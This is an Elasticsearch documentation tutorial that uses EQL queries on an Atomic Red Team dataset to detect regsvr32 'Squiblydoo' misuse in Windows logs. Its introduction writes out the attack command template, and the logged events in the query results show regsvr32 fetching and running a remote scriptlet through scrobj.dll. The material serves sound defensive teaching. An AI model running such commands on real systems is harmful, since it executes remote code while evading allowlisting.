detect-threats-with-eql.asciidoc 12 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410
  1. [role="xpack"]
  2. [testenv="basic"]
  3. [[eql-ex-threat-detection]]
  4. == Example: Detect threats with EQL
  5. This example tutorial shows how you can use EQL to detect security threats and
  6. other suspicious behavior. In the scenario, you're tasked with detecting
  7. https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows event
  8. logs.
  9. `regsvr32.exe` is a built-in command-line utility used to register `.dll`
  10. libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status,
  11. letting it bypass most allowlist software and script blockers.
  12. Attackers with access to a user's command line can use `regsvr32.exe` to run
  13. malicious scripts via `.dll` libraries, even on machines that otherwise
  14. disallow such scripts.
  15. One common variant of regsvr32 misuse is a
  16. https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
  17. Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
  18. register and run a remote script. These commands often look like this:
  19. [source,sh]
  20. ----
  21. "regsvr32.exe /s /u /i:<script-url> scrobj.dll"
  22. ----
  23. [discrete]
  24. [[eql-ex-threat-detection-setup]]
  25. === Setup
  26. This tutorial uses a test dataset from
  27. https://github.com/redcanaryco/atomic-red-team[Atomic Red Team] that includes
  28. events imitating a Squiblydoo attack. The data has been mapped to
  29. {ecs-ref}[Elastic Common Schema (ECS)] fields.
  30. To get started:
  31. . Create an <<index-templates,index template>> with
  32. <<create-index-template,data stream enabled>>:
  33. +
  34. ////
  35. [source,console]
  36. ----
  37. DELETE /_data_stream/*
  38. DELETE /_index_template/*
  39. ----
  40. // TEARDOWN
  41. ////
  42. +
  43. [source,console]
  44. ----
  45. PUT /_index_template/my-data-stream-template
  46. {
  47. "index_patterns": [ "my-data-stream*" ],
  48. "data_stream": { },
  49. "priority": 500
  50. }
  51. ----
  52. . Download https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`].
  53. . Use the <<docs-bulk,bulk API>> to index the data to a matching stream:
  54. +
  55. [source,sh]
  56. ----
  57. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  58. ----
  59. // NOTCONSOLE
  60. . Use the <<cat-indices,cat indices API>> to verify the data was indexed:
  61. +
  62. [source,console]
  63. ----
  64. GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count
  65. ----
  66. // TEST[setup:atomic_red_regsvr32]
  67. +
  68. The response should show a `docs.count` of `150`.
  69. +
  70. [source,txt]
  71. ----
  72. health status index docs.count
  73. yellow open .ds-my-data-stream-2099.12.07-000001 150
  74. ----
  75. // TESTRESPONSE[s/.ds-my-data-stream-2099.12.07-000001/.+/ non_json]
  76. [discrete]
  77. [[eql-ex-get-a-count-of-regsvr32-events]]
  78. === Get a count of regsvr32 events
  79. First, get a count of events associated with a `regsvr32.exe` process:
  80. [source,console]
  81. ----
  82. GET /my-data-stream/_eql/search?filter_path=-hits.events <1>
  83. {
  84. "query": """
  85. any where process.name == "regsvr32.exe" <2>
  86. """,
  87. "size": 200 <3>
  88. }
  89. ----
  90. // TEST[setup:atomic_red_regsvr32]
  91. <1> `?filter_path=-hits.events` excludes the `hits.events` property from the
  92. response. This search is only intended to get an event count, not a list of
  93. matching events.
  94. <2> Matches any event with a `process.name` of `regsvr32.exe`.
  95. <3> Returns up to 200 hits for matching events.
  96. The response returns 143 related events.
  97. [source,console-result]
  98. ----
  99. {
  100. "is_partial": false,
  101. "is_running": false,
  102. "took": 60,
  103. "timed_out": false,
  104. "hits": {
  105. "total": {
  106. "value": 143,
  107. "relation": "eq"
  108. }
  109. }
  110. }
  111. ----
  112. // TESTRESPONSE[s/"took": 60/"took": $body.took/]
  113. [discrete]
  114. [[eql-ex-check-for-command-line-artifacts]]
  115. === Check for command line artifacts
  116. `regsvr32.exe` processes were associated with 143 events. But how was
  117. `regsvr32.exe` first called? And who called it? `regsvr32.exe` is a command-line
  118. utility. Narrow your results to processes where the command line was used:
  119. [source,console]
  120. ----
  121. GET /my-data-stream/_eql/search
  122. {
  123. "query": """
  124. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  125. """
  126. }
  127. ----
  128. // TEST[setup:atomic_red_regsvr32]
  129. The query matches one event with an `event.type` of `creation`, indicating the
  130. start of a `regsvr32.exe` process. Based on the event's `process.command_line`
  131. value, `regsvr32.exe` used `scrobj.dll` to register a script, `RegSvr32.sct`.
  132. This fits the behavior of a Squiblydoo attack.
  133. [source,console-result]
  134. ----
  135. {
  136. "is_partial": false,
  137. "is_running": false,
  138. "took": 21,
  139. "timed_out": false,
  140. "hits": {
  141. "total": {
  142. "value": 1,
  143. "relation": "eq"
  144. },
  145. "events": [
  146. {
  147. "_index": ".ds-my-data-stream-2099.12.07-000001",
  148. "_id": "gl5MJXMBMk1dGnErnBW8",
  149. "_source": {
  150. "process": {
  151. "parent": {
  152. "name": "cmd.exe",
  153. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  154. "executable": "C:\\Windows\\System32\\cmd.exe"
  155. },
  156. "name": "regsvr32.exe",
  157. "pid": 2012,
  158. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  159. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  160. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  161. "ppid": 2652
  162. },
  163. "logon_id": 217055,
  164. "@timestamp": 131883573237130000,
  165. "event": {
  166. "category": "process",
  167. "type": "creation"
  168. },
  169. "user": {
  170. "full_name": "bob",
  171. "domain": "ART-DESKTOP",
  172. "id": "ART-DESKTOP\\bob"
  173. }
  174. }
  175. }
  176. ]
  177. }
  178. }
  179. ----
  180. // TESTRESPONSE[s/"took": 21/"took": $body.took/]
  181. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/]
  182. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  183. [discrete]
  184. [[eql-ex-check-for-malicious-script-loads]]
  185. === Check for malicious script loads
  186. Check if `regsvr32.exe` later loads the `scrobj.dll` library:
  187. [source,console]
  188. ----
  189. GET /my-data-stream/_eql/search
  190. {
  191. "query": """
  192. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  193. """
  194. }
  195. ----
  196. // TEST[setup:atomic_red_regsvr32]
  197. The query matches an event, confirming `scrobj.dll` was loaded.
  198. [source,console-result]
  199. ----
  200. {
  201. "is_partial": false,
  202. "is_running": false,
  203. "took": 5,
  204. "timed_out": false,
  205. "hits": {
  206. "total": {
  207. "value": 1,
  208. "relation": "eq"
  209. },
  210. "events": [
  211. {
  212. "_index": ".ds-my-data-stream-2099.12.07-000001",
  213. "_id": "ol5MJXMBMk1dGnErnBW8",
  214. "_source": {
  215. "process": {
  216. "name": "regsvr32.exe",
  217. "pid": 2012,
  218. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  219. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  220. },
  221. "@timestamp": 131883573237450016,
  222. "dll": {
  223. "path": "C:\\Windows\\System32\\scrobj.dll",
  224. "name": "scrobj.dll"
  225. },
  226. "event": {
  227. "category": "library"
  228. }
  229. }
  230. }
  231. ]
  232. }
  233. }
  234. ----
  235. // TESTRESPONSE[s/"took": 5/"took": $body.took/]
  236. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.events.0._index/]
  237. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  238. [discrete]
  239. [[eql-ex-detemine-likelihood-of-success]]
  240. === Determine the likelihood of success
  241. In many cases, attackers use malicious scripts to connect to remote servers or
  242. download other files. Use an <<eql-sequences,EQL sequence query>> to check
  243. for the following series of events:
  244. . A `regsvr32.exe` process
  245. . A load of the `scrobj.dll` library by the same process
  246. . Any network event by the same process
  247. Based on the command line value seen in the previous response, you can expect to
  248. find a match. However, this query isn't designed for that specific command.
  249. Instead, it looks for a pattern of suspicious behavior that's generic enough to
  250. detect similar threats.
  251. [source,console]
  252. ----
  253. GET /my-data-stream/_eql/search
  254. {
  255. "query": """
  256. sequence by process.pid
  257. [process where process.name == "regsvr32.exe"]
  258. [library where dll.name == "scrobj.dll"]
  259. [network where true]
  260. """
  261. }
  262. ----
  263. // TEST[setup:atomic_red_regsvr32]
  264. The query matches a sequence, indicating the attack likely succeeded.
  265. [source,console-result]
  266. ----
  267. {
  268. "is_partial": false,
  269. "is_running": false,
  270. "took": 25,
  271. "timed_out": false,
  272. "hits": {
  273. "total": {
  274. "value": 1,
  275. "relation": "eq"
  276. },
  277. "sequences": [
  278. {
  279. "join_keys": [
  280. 2012
  281. ],
  282. "events": [
  283. {
  284. "_index": ".ds-my-data-stream-2099.12.07-000001",
  285. "_id": "gl5MJXMBMk1dGnErnBW8",
  286. "_source": {
  287. "process": {
  288. "parent": {
  289. "name": "cmd.exe",
  290. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  291. "executable": "C:\\Windows\\System32\\cmd.exe"
  292. },
  293. "name": "regsvr32.exe",
  294. "pid": 2012,
  295. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  296. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  297. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  298. "ppid": 2652
  299. },
  300. "logon_id": 217055,
  301. "@timestamp": 131883573237130000,
  302. "event": {
  303. "category": "process",
  304. "type": "creation"
  305. },
  306. "user": {
  307. "full_name": "bob",
  308. "domain": "ART-DESKTOP",
  309. "id": "ART-DESKTOP\\bob"
  310. }
  311. }
  312. },
  313. {
  314. "_index": ".ds-my-data-stream-2099.12.07-000001",
  315. "_id": "ol5MJXMBMk1dGnErnBW8",
  316. "_source": {
  317. "process": {
  318. "name": "regsvr32.exe",
  319. "pid": 2012,
  320. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  321. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  322. },
  323. "@timestamp": 131883573237450016,
  324. "dll": {
  325. "path": "C:\\Windows\\System32\\scrobj.dll",
  326. "name": "scrobj.dll"
  327. },
  328. "event": {
  329. "category": "library"
  330. }
  331. }
  332. },
  333. {
  334. "_index": ".ds-my-data-stream-2099.12.07-000001",
  335. "_id": "EF5MJXMBMk1dGnErnBa9",
  336. "_source": {
  337. "process": {
  338. "name": "regsvr32.exe",
  339. "pid": 2012,
  340. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  341. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  342. },
  343. "@timestamp": 131883573238680000,
  344. "destination": {
  345. "address": "151.101.48.133",
  346. "port": "443"
  347. },
  348. "source": {
  349. "address": "192.168.162.134",
  350. "port": "50505"
  351. },
  352. "event": {
  353. "category": "network"
  354. },
  355. "user": {
  356. "full_name": "bob",
  357. "domain": "ART-DESKTOP",
  358. "id": "ART-DESKTOP\\bob"
  359. },
  360. "network": {
  361. "protocol": "tcp",
  362. "direction": "outbound"
  363. }
  364. }
  365. }
  366. ]
  367. }
  368. ]
  369. }
  370. }
  371. ----
  372. // TESTRESPONSE[s/"took": 25/"took": $body.took/]
  373. // TESTRESPONSE[s/"_index": ".ds-my-data-stream-2099.12.07-000001"/"_index": $body.hits.sequences.0.events.0._index/]
  374. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
  375. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
  376. // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]